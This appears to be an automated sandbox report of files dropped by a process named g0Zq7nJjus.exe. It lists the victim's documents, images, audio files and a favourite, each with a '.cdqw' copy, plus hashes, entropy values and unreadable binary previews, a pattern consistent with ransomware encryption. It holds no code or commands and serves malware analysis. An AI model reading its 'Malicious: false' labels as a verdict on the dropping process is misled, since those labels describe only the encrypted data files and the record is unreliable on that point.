C:\Users\user\Documents\ZQIXMVQGAH.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839486252779676
Encrypted:	false
SSDEEP:	24:m9+A+9NvODdiynBKQYZWbcFLTMifdNR1J+7ZZ9tViScpYc2bD:m9F+9NJynAWoFLTMI4TkSGYvD
MD5:	9E71FBBA9C23201BFB5DAD7D4BCAC2AD
SHA1:	AE7D86795B08CF8440B19C41BF74E4FAA6ACFA6C
SHA-256:	F1408EF821910BDA84C6B67FEBAA0B251520415C73A141853C9F3542273592D7
SHA-512:	AAD5C04687060D363BEE74D33926E7F57AD2E31E77D3B8B681B31D532AE3B64739B3D18D02A31119BCCD4EA80C7AB767BE166EB3D48C587DBD817BAD24146B8E
Malicious:	false
Preview:	ZQIXM.9-m...r.<Q....@v.S..i..0.kp.k..p.R..y......"..4....8.%.O9......=.[...l.....xI.x....u.....M.....v5mZ@.7$..Y.-.T..?oT.d.#...........&.#.).]......h..]0\.N%.j......&........x..L.wO.{(.1'.s.. ...B$.....L.'... .07..Z.u.............j..V.u...5....#IgK.....>..........vh.^,..;X.......w...=hs.M.y.>....(....(...1..0..........3...............C..z.`..X....[.4{5q..!7..C.HW...1.]B.B.W.......].N..H.j#....".".sm'....C9l0QY..5:2c3....o.U..........o.....<....r.....97GV<.Z..oD.......#...%.....T.b\..o\|.#A.....G.<..Oi.w......j.....m.&..P'Xm.z.z.Y,..&E...k..l.9..N0..~P-p.:..O.u....H7l.#q#k..#.....b.t....s.........V.f.......$~.@..X(,.-.x.d^.........Z-'..R.e......P`...ok..K.Z........K..7lw.9.X....-.....!.A..N&...f..4..D...s._..\|2n[c..iF....F...&.oZ..<Z...e9...pJ..s......A.....X.....B.._.........(.t7?....}..Z.t..$.....A...)...8..V.;..DEo9......A]Eg.{.2h..@;.....E-......j.7.H..F...-d..y.5.R.Y606.:B...D...cA.W.. T.. ...X..Y. b.L.....1Q...qN.E..2.g8.........

C:\Users\user\Downloads\BNAGMGSPLO.pdf

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857307407639549
Encrypted:	false
SSDEEP:	24:OaCDKiRF6UWO985e3gc6KIl7o9cEw9WExhCnc4TlS6IBUQ+7c3vuyk2bD:OaCuiRF6UWjogD0cEw1xcXRImKbD
MD5:	58334920794C762A4FE2B60AA04AA0B4
SHA1:	BC3F89F971BF73F08B991D67DD91BBDD7DB18C52
SHA-256:	765305CAE381B7FB85B532D24405A78F0391F22F829037CFC3BD70EDC63F90AB
SHA-512:	068E84E9253B4F6FBE8213C4D1D2AE39B3A7355C21EC8ACDC8C3193711460215722F73970ABBC7A47D78F135ACA3B0854FABB915E0658D8B22E6A3FCE602264E
Malicious:	false
Preview:	BNAGM.K.<.~.../@_.I...... ...:_.Q,6.~.Q)y....fB..s..u.+...,..g.@.......Z....P.N&VT.....m...0....:.z..e.P..M&..X.e.O...+.C.3...I...N..:.q.........(e.4.2..V.....yT....Z.[..E..._....\..\|m.F..U.@.C..E.......#.L....s.c..\|ap$".:o.#.3....2.)..N.8!..G....l5\|.c....v..$#....<#.G...tX.y....u...O.M ...3d.......\......B........q..T(.;{.xu....!....~.#...6.".e'....C..;^..+..[.+.>x...<..n.......H....3...:..3p.i.e^\|f.\|..6...?PO..>t...=...8...g.O).HM.&..V.g-.n.PG.b.^.=....qo.}+..#..6.......oW..?=.=.N(.#j&!......!.]hk..)o.a..P.....skD.w.........eioe>UCP}....f6..6.....l..OF....i..3.e..(j.uG..u.X#._.kI....W.C..YJ."S$Z..j../mIg.w.@m,4.]...";..O{....[....8......hcV...o..}.g...IF..IK.z....o.!z..<G';g.F...D.4D.G.u.....O.4...x>d.....{G...$..:AC,..G.S....3.vGV.b..W..+.b..K...&......O/d5..@+.u.^SD..J.......^.....Q....D.+..<..G....1s..nT.@Gp.Y..$l;.^..en.#&ac..V..66...... ..=.5u[5..a.*D.E...X.P...2W[.<:.fc....'.J..o.~V-..E..;.F.m.......x.......a.0=t.EKS...

C:\Users\user\Downloads\BNAGMGSPLO.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857307407639549
Encrypted:	false
SSDEEP:	24:OaCDKiRF6UWO985e3gc6KIl7o9cEw9WExhCnc4TlS6IBUQ+7c3vuyk2bD:OaCuiRF6UWjogD0cEw1xcXRImKbD
MD5:	58334920794C762A4FE2B60AA04AA0B4
SHA1:	BC3F89F971BF73F08B991D67DD91BBDD7DB18C52
SHA-256:	765305CAE381B7FB85B532D24405A78F0391F22F829037CFC3BD70EDC63F90AB
SHA-512:	068E84E9253B4F6FBE8213C4D1D2AE39B3A7355C21EC8ACDC8C3193711460215722F73970ABBC7A47D78F135ACA3B0854FABB915E0658D8B22E6A3FCE602264E
Malicious:	false
Preview:	BNAGM.K.<.~.../@_.I...... ...:_.Q,6.~.Q)y....fB..s..u.+...,..g.@.......Z....P.N&VT.....m...0....:.z..e.P..M&..X.e.O...+.C.3...I...N..:.q.........(e.4.2..V.....yT....Z.[..E..._....\..\|m.F..U.@.C..E.......#.L....s.c..\|ap$".:o.#.3....2.)..N.8!..G....l5\|.c....v..$#....<#.G...tX.y....u...O.M ...3d.......\......B........q..T(.;{.xu....!....~.#...6.".e'....C..;^..+..[.+.>x...<..n.......H....3...:..3p.i.e^\|f.\|..6...?PO..>t...=...8...g.O).HM.&..V.g-.n.PG.b.^.=....qo.}+..#..6.......oW..?=.=.N(.#j&!......!.]hk..)o.a..P.....skD.w.........eioe>UCP}....f6..6.....l..OF....i..3.e..(j.uG..u.X#._.kI....W.C..YJ."S$Z..j../mIg.w.@m,4.]...";..O{....[....8......hcV...o..}.g...IF..IK.z....o.!z..<G';g.F...D.4D.G.u.....O.4...x>d.....{G...$..:AC,..G.S....3.vGV.b..W..+.b..K...&......O/d5..@+.u.^SD..J.......^.....Q....D.+..<..G....1s..nT.@Gp.Y..$l;.^..en.#&ac..V..66...... ..=.5u[5..a.*D.E...X.P...2W[.<:.fc....'.J..o.~V-..E..;.F.m.......x.......a.0=t.EKS...

C:\Users\user\Downloads\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8340398311600055
Encrypted:	false
SSDEEP:	24:FxdxhJcIdI/v8aON6uIcmicr8VfuQ3BeES8l12bD:FHJl4KH+ryftBeRD
MD5:	AD237C750F48227AD1E473C129EEE707
SHA1:	8B85F1D2227DB0C08E06851F31503CC40A8F5CA8
SHA-256:	BD0A4D0AF38D91BE1C89BB97BE2E2326C4794DD798DE8EE41657D409196433DF
SHA-512:	3DBD0ECB374D40430914D0E1E27AF06E84DAEDEC2CB158529AE8B839FF34D835946000FEC3C85A4D002351FBEC16546DB5542B3FE8DBBE5F8816D2AEB380C82D
Malicious:	false
Preview:	EEGWXj.'6A.\|......e.}.m...'l..x...I...+.......,...b....r.L...qD_..@2...ZvzHPh.Ql_.nx..Hvh.g..L.<S....m.`/8.?-.k.Y_.&.....!..L.X\g..xq...X..P^.I..0.W=G....b...J.2..0ie..>.D...g.G...rZ...n..{ip&..l...W8..E..s..(/...[+VtbK..Y..#4k.MV2D..G.....;..H0:t.K.ML..EO^.........D......X.k.o..v.......<)Zu... .........2\|.....T.pN9.8......I.G-:z..E.!P..L6h.D<.,2.Tm.J.c....r..E~...'..k.Z.......e.s......N...U.v+.9..".B.H..xu..T...OL.....2......fy.A.......y'..r...D./.k.{".".....DK.....8..2.\...HO..C^.tt....g..x[\...^......y...d.;U.){...F...F....y&).o......"..i.z......4._....L.a.&S..(.mj...O~_..1..x5..8~.'..''0...oVOr..0.>..Z.xb..U.W2.C;K7..^=...J(#...c....L]....0......Z..?u......L.a..Uo....o..GL..'...w.D..!&.C+.... ..Lznv.3.w.W.'... 6.?.q.p;.&.-R...A.TR.]...{..A.C.J.F..Uj.....a.......+..~4y.xr....9.......z.8....5.Z'u.)?..0.....+...1U...`...}'....j....Y.W;.zM....(..f .....JVuZ...(..2H ,.$Y.x.HC..Bi..g.U]Q..(..(9...t....L.....S..i.I.NA....]J...0.....{

C:\Users\user\Downloads\EEGWXUHVUG.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8340398311600055
Encrypted:	false
SSDEEP:	24:FxdxhJcIdI/v8aON6uIcmicr8VfuQ3BeES8l12bD:FHJl4KH+ryftBeRD
MD5:	AD237C750F48227AD1E473C129EEE707
SHA1:	8B85F1D2227DB0C08E06851F31503CC40A8F5CA8
SHA-256:	BD0A4D0AF38D91BE1C89BB97BE2E2326C4794DD798DE8EE41657D409196433DF
SHA-512:	3DBD0ECB374D40430914D0E1E27AF06E84DAEDEC2CB158529AE8B839FF34D835946000FEC3C85A4D002351FBEC16546DB5542B3FE8DBBE5F8816D2AEB380C82D
Malicious:	false
Preview:	EEGWXj.'6A.\|......e.}.m...'l..x...I...+.......,...b....r.L...qD_..@2...ZvzHPh.Ql_.nx..Hvh.g..L.<S....m.`/8.?-.k.Y_.&.....!..L.X\g..xq...X..P^.I..0.W=G....b...J.2..0ie..>.D...g.G...rZ...n..{ip&..l...W8..E..s..(/...[+VtbK..Y..#4k.MV2D..G.....;..H0:t.K.ML..EO^.........D......X.k.o..v.......<)Zu... .........2\|.....T.pN9.8......I.G-:z..E.!P..L6h.D<.,2.Tm.J.c....r..E~...'..k.Z.......e.s......N...U.v+.9..".B.H..xu..T...OL.....2......fy.A.......y'..r...D./.k.{".".....DK.....8..2.\...HO..C^.tt....g..x[\...^......y...d.;U.){...F...F....y&).o......"..i.z......4._....L.a.&S..(.mj...O~_..1..x5..8~.'..''0...oVOr..0.>..Z.xb..U.W2.C;K7..^=...J(#...c....L]....0......Z..?u......L.a..Uo....o..GL..'...w.D..!&.C+.... ..Lznv.3.w.W.'... 6.?.q.p;.&.-R...A.TR.]...{..A.C.J.F..Uj.....a.......+..~4y.xr....9.......z.8....5.Z'u.)?..0.....+...1U...`...}'....j....Y.W;.zM....(..f .....JVuZ...(..2H ,.$Y.x.HC..Bi..g.U]Q..(..(9...t....L.....S..i.I.NA....]J...0.....{

C:\Users\user\Downloads\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862879952840094
Encrypted:	false
SSDEEP:	24:sdMGU9+QI32aP8x4ZIddMs6Fe9iqBLWEuUlAmaZPkJaygTkJfqUKNJKgH2bD:WMGbG3dEFEBVu9ZcaKyUKTKlD
MD5:	CE99971DA82855BF6FAA6A18639207C1
SHA1:	ED89FB7C1225912C12C9FAD79A45942A6221ED21
SHA-256:	28575B0E3EB483C5B3E863990E7646005932CC151A1DD5060D4C4AE642C92637
SHA-512:	A20CE8F4D552A83B54DBE9FA879B43617D0EE9773272FF920FCF1A3416764C176DD7D81DEEC5D823ADD1B4F6DCCE7DF82C36A2A3D7ADAC9864694D177B233AE9
Malicious:	false
Preview:	IPKGE.2.;'..b.....d.+.['.hB..Cy'y..kP..5?.O3`a,:..-.G....7`......!.b. 2.....t..6mKJ.A...Ed.aN.....@...G./.....g,.....X..$T.6J..\|8C.\..UD.Dk.........A....}8f?J.../.%}R.J..1..p...{..G.&.yG#...b:....Hm../K...w......I8...2M.......V...x..@.^l.2;U..A.5.yu..IC#.4....xk..)..;...j.....]./6...l.&.F..M[..K..r.o....u...P..e..0k.<....'.b..1..-W.I.V.Vag..5.b.<...l....I-..~A.W....(?._H..a.p..4..~..:te.Cy..i.B...VF. .....Bgg.}X...M;'.s......-.........vI...,..O...1.:.hgO..~...m?....A..a..ul....x.D.z.O....;.....[_.a..3lEUc..h..c:z...k....g....$.R.6]Bo..q...V.2R(..F....s.O......,\.^......?y D.n\g.G.KP.g.jF.......L.Z.4xw.9.b.............m=..r%.H.#......\|u.e._>.S."....nv......hy.(.H.4.(..L].......cT...4...F6.d.r.+.\9Qx.]Ia7......@[d.R..K.`..~z..$..P......F.....\.P$Mwi.....u....:..w..y;q.y..K...~.?N..!....tM.gv..G..E.^6.m..... ]9.............%U.R..(.M...i.?.z.%.3....].wC...].yu@N..f.."..`.Jf....B.7...O...'..L(.sx......X.;"....j..<...q.S.......o....[].@3.%..C....

C:\Users\user\Downloads\IPKGELNTQY.docx.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862879952840094
Encrypted:	false
SSDEEP:	24:sdMGU9+QI32aP8x4ZIddMs6Fe9iqBLWEuUlAmaZPkJaygTkJfqUKNJKgH2bD:WMGbG3dEFEBVu9ZcaKyUKTKlD
MD5:	CE99971DA82855BF6FAA6A18639207C1
SHA1:	ED89FB7C1225912C12C9FAD79A45942A6221ED21
SHA-256:	28575B0E3EB483C5B3E863990E7646005932CC151A1DD5060D4C4AE642C92637
SHA-512:	A20CE8F4D552A83B54DBE9FA879B43617D0EE9773272FF920FCF1A3416764C176DD7D81DEEC5D823ADD1B4F6DCCE7DF82C36A2A3D7ADAC9864694D177B233AE9
Malicious:	false
Preview:	IPKGE.2.;'..b.....d.+.['.hB..Cy'y..kP..5?.O3`a,:..-.G....7`......!.b. 2.....t..6mKJ.A...Ed.aN.....@...G./.....g,.....X..$T.6J..\|8C.\..UD.Dk.........A....}8f?J.../.%}R.J..1..p...{..G.&.yG#...b:....Hm../K...w......I8...2M.......V...x..@.^l.2;U..A.5.yu..IC#.4....xk..)..;...j.....]./6...l.&.F..M[..K..r.o....u...P..e..0k.<....'.b..1..-W.I.V.Vag..5.b.<...l....I-..~A.W....(?._H..a.p..4..~..:te.Cy..i.B...VF. .....Bgg.}X...M;'.s......-.........vI...,..O...1.:.hgO..~...m?....A..a..ul....x.D.z.O....;.....[_.a..3lEUc..h..c:z...k....g....$.R.6]Bo..q...V.2R(..F....s.O......,\.^......?y D.n\g.G.KP.g.jF.......L.Z.4xw.9.b.............m=..r%.H.#......\|u.e._>.S."....nv......hy.(.H.4.(..L].......cT...4...F6.d.r.+.\9Qx.]Ia7......@[d.R..K.`..~z..$..P......F.....\.P$Mwi.....u....:..w..y;q.y..K...~.?N..!....tM.gv..G..E.^6.m..... ]9.............%U.R..(.M...i.?.z.%.3....].wC...].yu@N..f.."..`.Jf....B.7...O...'..L(.sx......X.;"....j..<...q.S.......o....[].@3.%..C....

C:\Users\user\Downloads\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860997108610984
Encrypted:	false
SSDEEP:	24:KuLIYubrH5Ud8j0wN3Xnof+QCTa0wNTWMK+KoXbP1o/Aa+2bD:KuLIYu35Udoj5XntDtaxvz6IKD
MD5:	0FAC3167953A95D60A5591D91884335A
SHA1:	4E18B0A93F137C60AA7D28F00B365F482096F353
SHA-256:	6A38DB6034CD1B7705637683312F6A15305F6155D960C7DF90C27FC764197315
SHA-512:	1DDC221E8B2FD60EA3294A466380D5FB946271BA446E5839171A9EBED7B0C8591DDA8EA734CD0F7074B4AB6ADB496BCD1472D0D4C23D2BCC933230F268842A1C
Malicious:	false
Preview:	LSBIH.j./.k.G.H..^.b..Y..^F((..`..U`%.-;H.0..]Q..fi.#$%.....{.M..97?lQ....?Q....dHy9E...2.@..NmG.r.zr.../.ft.Z..3....>....I..bt2N>ld.........%o..o3.7.M..=...C...1...4.c...E.....0.p.5..m.k.'..'...4......B...Yb...<.....$..^..cGf.N.....z[..E.+.1.A..r....zU.9....W./..h..N.....Fd!&.r.W.BH.jOj.E#..(R..=...B.a~.>..f.2.`1...c...TB.).\..,.#..&<..,..';F......y\NJ..t..s-4.!...bvem"...:..TN...!...eb).tM.....j.A@6.,.+_......+....0.....CW....6U._..H....,a....FT\|.......JD.........7.f....^6..k.<.{3)OP.s_~..!....Eq.ox+!Q4...."@.q.\|N...~.....N..U'./..[(...._.......1.....}.R..k.".\|....sr.^ .". ..v.Q~.g...?.q...>....n..$...4f>.....x.."`JP.....m=f......e.v......^....Y...5r@.:..*11Z`.G.9.z..^.D..O...;.\u'.r.f..C@.O0.u.r2..iUH.I........0..R...u.($m<....X$E..k.T...3...]...Ba..\|.....NSq..>..+....E-..T.....c.H........g5p.\.....1$..4\|..5L....m.:..8..........{...........L.y.PU.JV.m ._.{.9... u.@..h.....qAg..a....,#%..l.3.K.4=..;.g.4.,..2......}aoY.....+..s.F

C:\Users\user\Downloads\LSBIHQFDVT.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860997108610984
Encrypted:	false
SSDEEP:	24:KuLIYubrH5Ud8j0wN3Xnof+QCTa0wNTWMK+KoXbP1o/Aa+2bD:KuLIYu35Udoj5XntDtaxvz6IKD
MD5:	0FAC3167953A95D60A5591D91884335A
SHA1:	4E18B0A93F137C60AA7D28F00B365F482096F353
SHA-256:	6A38DB6034CD1B7705637683312F6A15305F6155D960C7DF90C27FC764197315
SHA-512:	1DDC221E8B2FD60EA3294A466380D5FB946271BA446E5839171A9EBED7B0C8591DDA8EA734CD0F7074B4AB6ADB496BCD1472D0D4C23D2BCC933230F268842A1C
Malicious:	false
Preview:	LSBIH.j./.k.G.H..^.b..Y..^F((..`..U`%.-;H.0..]Q..fi.#$%.....{.M..97?lQ....?Q....dHy9E...2.@..NmG.r.zr.../.ft.Z..3....>....I..bt2N>ld.........%o..o3.7.M..=...C...1...4.c...E.....0.p.5..m.k.'..'...4......B...Yb...<.....$..^..cGf.N.....z[..E.+.1.A..r....zU.9....W./..h..N.....Fd!&.r.W.BH.jOj.E#..(R..=...B.a~.>..f.2.`1...c...TB.).\..,.#..&<..,..';F......y\NJ..t..s-4.!...bvem"...:..TN...!...eb).tM.....j.A@6.,.+_......+....0.....CW....6U._..H....,a....FT\|.......JD.........7.f....^6..k.<.{3)OP.s_~..!....Eq.ox+!Q4...."@.q.\|N...~.....N..U'./..[(...._.......1.....}.R..k.".\|....sr.^ .". ..v.Q~.g...?.q...>....n..$...4f>.....x.."`JP.....m=f......e.v......^....Y...5r@.:..*11Z`.G.9.z..^.D..O...;.\u'.r.f..C@.O0.u.r2..iUH.I........0..R...u.($m<....X$E..k.T...3...]...Ba..\|.....NSq..>..+....E-..T.....c.H........g5p.\.....1$..4\|..5L....m.:..8..........{...........L.y.PU.JV.m ._.{.9... u.@..h.....qAg..a....,#%..l.3.K.4=..;.g.4.,..2......}aoY.....+..s.F

C:\Users\user\Downloads\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829787430442889
Encrypted:	false
SSDEEP:	24:tjCtoXoNjZa7yqWIsuxXks0vnbpct/PrC7Mn3zo5tmf/12rkjlXx4MU+eNM2bD:MoXoNcLstvnbl7sOi2rkhXxnneBD
MD5:	0AF3CEF742F656B7A00843452EFA8A16
SHA1:	0CD27285EA4A24A4191DA0FF6D7568BE80CFE0EE
SHA-256:	1E0E6F44CC1CF65744331F122C9A9BF9107622AB53FA6FD87B8C5AB99173B60C
SHA-512:	F8C529B7BE09A6A56D75D6FEFDD740DD4832784E502B6A470C432B18780E1EB9AE8237EA3E4CC38213E48A52CD28BB99A8D569DBD95A190BC525FBAC005D9032
Malicious:	false
Preview:	PIVFADEu.^..g...$.E.QG.xS.X7._.Wp...^o........G....Op..n.A.Hc......Z:...P!o2._D.e.%......./2.._..V^..A...Q.Z.z`3...f....c\Gqd.......oH\.P+i....=....o.i..v.do(...K.-.>z..\|-.0......1....L@...Q.\|..;'...z..E.S.U.~.....M.S^V~v.Y.5o.s.5.....~t.9.l[..d....... .t../..............V}....2.A.].(N.d2jH.oxUW-z.c....4.U~R...r3i.g_.!.#RU.F92.m.3.b...{.al:..H....kKO.]...Q.....T.8........):...@..T.E.......VE..qyE.W$'d../..VTN.Y.h..1CC.1a.}M...-.U{....4...G+./.o..$^......6H..7v9...Eh#.F....G\|r,].m.+@.5.I.vdTn.#G.x.j@{.U.....0.M....r,.g%..d8N.R.r.7...G....9u.... N1.2.V..p(S.=!.....r.j@\...7.j&D.......,.~F}+O..Q((..+-.[#...b....D0..?..[.b....$......=.d..yb....x'..<\|...<.F=...... .#:M.:o.Aun...\|c.B.~...........f...........VB..5~..QU..._E...W..$BR4v.[2'l...i~...4./V......L.vX=)D.R....OC.......w.+.....W.@J{.Qf._....7.....2C..?.. K....`..)....;.D...z4..4..}..T+.Qt4...Ig...th....*=.}..d..L.....6N..eQSKr._....9....S..{C.,..8Y..............J...=..{jT.^..?.....

C:\Users\user\Downloads\PIVFAGEAAV.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829787430442889
Encrypted:	false
SSDEEP:	24:tjCtoXoNjZa7yqWIsuxXks0vnbpct/PrC7Mn3zo5tmf/12rkjlXx4MU+eNM2bD:MoXoNcLstvnbl7sOi2rkhXxnneBD
MD5:	0AF3CEF742F656B7A00843452EFA8A16
SHA1:	0CD27285EA4A24A4191DA0FF6D7568BE80CFE0EE
SHA-256:	1E0E6F44CC1CF65744331F122C9A9BF9107622AB53FA6FD87B8C5AB99173B60C
SHA-512:	F8C529B7BE09A6A56D75D6FEFDD740DD4832784E502B6A470C432B18780E1EB9AE8237EA3E4CC38213E48A52CD28BB99A8D569DBD95A190BC525FBAC005D9032
Malicious:	false
Preview:	PIVFADEu.^..g...$.E.QG.xS.X7._.Wp...^o........G....Op..n.A.Hc......Z:...P!o2._D.e.%......./2.._..V^..A...Q.Z.z`3...f....c\Gqd.......oH\.P+i....=....o.i..v.do(...K.-.>z..\|-.0......1....L@...Q.\|..;'...z..E.S.U.~.....M.S^V~v.Y.5o.s.5.....~t.9.l[..d....... .t../..............V}....2.A.].(N.d2jH.oxUW-z.c....4.U~R...r3i.g_.!.#RU.F92.m.3.b...{.al:..H....kKO.]...Q.....T.8........):...@..T.E.......VE..qyE.W$'d../..VTN.Y.h..1CC.1a.}M...-.U{....4...G+./.o..$^......6H..7v9...Eh#.F....G\|r,].m.+@.5.I.vdTn.#G.x.j@{.U.....0.M....r,.g%..d8N.R.r.7...G....9u.... N1.2.V..p(S.=!.....r.j@\...7.j&D.......,.~F}+O..Q((..+-.[#...b....D0..?..[.b....$......=.d..yb....x'..<\|...<.F=...... .#:M.:o.Aun...\|c.B.~...........f...........VB..5~..QU..._E...W..$BR4v.[2'l...i~...4./V......L.vX=)D.R....OC.......w.+.....W.@J{.Qf._....7.....2C..?.. K....`..)....;.D...z4..4..}..T+.Qt4...Ig...th....*=.}..d..L.....6N..eQSKr._....9....S..{C.,..8Y..............J...=..{jT.^..?.....

C:\Users\user\Downloads\ZQIXMVQGAH.mp3

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855713984249175
Encrypted:	false
SSDEEP:	24:m9cFKXzW7at/t0b9X2QTpne1DlQgmCeKR4Sc7TqAGP85Q7j8bcR1PlXDawqYjHMC:qc0zW7ahtKaDZ9eKR27nGPRMbmlX/bMC
MD5:	BA19EB96346B6BA5E7539CFFF9FC544F
SHA1:	87568E4A75A04AA1A59B949DB28D8650E14F7390
SHA-256:	D77B363131C5341F574CFBF1E9654DECD34F57E87D95B7D9754EC8D68CFBEE44
SHA-512:	CE34CB624B671A3CBABEBE13A1C8E8B0AD51377BD7D5BAC7E460C6A43475A43167FAADDA295BE6FE1801877D5EB5A9FAE9FFB835DF15C4484BBC07CF6888F614
Malicious:	false
Preview:	ZQIXM........~(...E..f..-.....<...@.4^.G..1I.>..F...[....BH.....\,./........\n~^P.....s.~..P....<c"..%..Jm..~.=7S...w!A.M?t..g<.\.qM....}..%.Y....f......x.....B@..}g6~.m.R....r.$.....B/..l.....a..<$.!$...s.tE.P.j..G4.`.0z^zE.&"....s.E?C.n<..K_..eN.e.LS._....T...j........X......S_.Kf.0Z&2'nR.">..hg.F7:.Y.v"O=,....l.........,...'...@H...T\|..sk......(...N}.,<...k.W....+.a..[2..W.{..~....z...R+[n?S.E.o.<..~bJ!K.5..../1...J.w@.....b....R6)...)...........j..............Q>..A.h...ze.......K...~R9...\|.........~v...~..... ...}.G..7SZ3/....c.S..O+.......a..~....P.^...~.S..?!..'.9.f1xc}.&......F.b..D.F.....n..Rb..%2....N7...r.RA....3.VB#....Q./H;..T....r.1."...`?J...."....Z6.g...2...,rbg....6}..w.jkso.I.X..g.Mp.54...mk9.p..b..+.....Ys!4...t...0ybE......h..1Pd=..z...>S.{'..;.T.dt......m?t..~/.c..W....6...f......v.W....g.sw..........q..Csa.c../>..$..>...f..Q.z.&..d:.. ....1.sc[..r.g.3LX..5.....j...Zt.#...!0..{\.....dP........x..N9L.i..R".5}}C.......Z

C:\Users\user\Downloads\ZQIXMVQGAH.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855713984249175
Encrypted:	false
SSDEEP:	24:m9cFKXzW7at/t0b9X2QTpne1DlQgmCeKR4Sc7TqAGP85Q7j8bcR1PlXDawqYjHMC:qc0zW7ahtKaDZ9eKR27nGPRMbmlX/bMC
MD5:	BA19EB96346B6BA5E7539CFFF9FC544F
SHA1:	87568E4A75A04AA1A59B949DB28D8650E14F7390
SHA-256:	D77B363131C5341F574CFBF1E9654DECD34F57E87D95B7D9754EC8D68CFBEE44
SHA-512:	CE34CB624B671A3CBABEBE13A1C8E8B0AD51377BD7D5BAC7E460C6A43475A43167FAADDA295BE6FE1801877D5EB5A9FAE9FFB835DF15C4484BBC07CF6888F614
Malicious:	false
Preview:	ZQIXM........~(...E..f..-.....<...@.4^.G..1I.>..F...[....BH.....\,./........\n~^P.....s.~..P....<c"..%..Jm..~.=7S...w!A.M?t..g<.\.qM....}..%.Y....f......x.....B@..}g6~.m.R....r.$.....B/..l.....a..<$.!$...s.tE.P.j..G4.`.0z^zE.&"....s.E?C.n<..K_..eN.e.LS._....T...j........X......S_.Kf.0Z&2'nR.">..hg.F7:.Y.v"O=,....l.........,...'...@H...T\|..sk......(...N}.,<...k.W....+.a..[2..W.{..~....z...R+[n?S.E.o.<..~bJ!K.5..../1...J.w@.....b....R6)...)...........j..............Q>..A.h...ze.......K...~R9...\|.........~v...~..... ...}.G..7SZ3/....c.S..O+.......a..~....P.^...~.S..?!..'.9.f1xc}.&......F.b..D.F.....n..Rb..%2....N7...r.RA....3.VB#....Q./H;..T....r.1."...`?J...."....Z6.g...2...,rbg....6}..w.jkso.I.X..g.Mp.54...mk9.p..b..+.....Ys!4...t...0ybE......h..1Pd=..z...>S.{'..;.T.dt......m?t..~/.c..W....6...f......v.W....g.sw..........q..Csa.c../>..$..>...f..Q.z.&..d:.. ....1.sc[..r.g.3LX..5.....j...Zt.#...!0..{\.....dP........x..N9L.i..R".5}}C.......Z

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.45952693375548
Encrypted:	false
SSDEEP:	12:jCCm9c1KRoPkEGCeLpT6Z+9TZJE+fFWSUdNcii9a:S9c4LEGLVT6ZoTf1fj2bD
MD5:	C6899B30BC040C3D1865BF848155079F
SHA1:	AABC92E9A7FDC1EF0A87D5FD4A7BA7FA4423175B
SHA-256:	7D1F383E15B9E1BFAC51299D7F6F9E361586CD2DB7187E4DE875B3A68DB14028
SHA-512:	CA73392436A42C2055BEC4991BCFB7509863A3575A434ADC7A4998BD885313C62642F1CCAEEECF70A604EE2259C5CE06148FCC8100A1919E00D9BE7779496D79
Malicious:	false
Preview:	[{0002.2.S.2'$t\.....&....Xs...v.~tog..:.t9..1@..YS.XjPi...@.{-D.0>.V.R...i/.....q6.V.L..&;!..e.+E..Y{...=.3w....k...5R.~..<..?.6t....q.......Z10......~....0a...s.+kH.+........5D...I.`.1.B}./.qrW..j..D..d...^.K.$.....?i..<X..`..D.....p...Y....... ...#.K-.a...7:O_:&..[..m.%.....Tk."s)........T&....\|&.gd...\|)..U.Q.ZO.tn&..T..cA.Bk..Y...\|..FA ..\.W.,dmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

